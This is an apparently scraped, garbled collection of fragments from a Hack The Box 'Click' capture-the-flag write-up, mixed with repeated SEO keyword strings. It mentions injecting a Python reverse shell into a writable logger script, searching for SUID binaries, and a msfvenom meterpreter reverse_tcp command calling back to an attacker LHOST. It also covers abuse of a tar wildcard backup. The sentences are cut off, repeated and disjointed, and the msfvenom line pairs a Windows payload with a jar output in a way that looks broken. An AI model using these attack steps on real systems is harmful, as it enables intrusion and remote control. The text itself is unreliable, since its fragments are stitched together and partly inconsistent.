He opened the file and injected a simple Python reverse shell, then saved it.
The web application was a simple file-sharing portal, but it utilized a sendMessage function that passed user input directly into a JSON.parse() call without proper sanitization. click htb writeup
He checked for custom_logger.py . ls -la /opt/custom_logger.py -rw-rw-r-- 1 raymond raymond ... He opened the file and injected a simple
find / -perm -4000 2>/dev/null
Deconstructing privilege escalation scripts step-by-step to identify the logic flaws in internal binaries. click htb writeup
# Create a payload with msfvenom cmd = f"msfvenom -p windows/x86_64/meterpreter/reverse_tcp LHOST=LHOST LPORT=LPORT -f jar > exploit.jar"
Running it shows it creates a backup of /home/click to /backups/click_backup.tar.gz using tar with wildcard.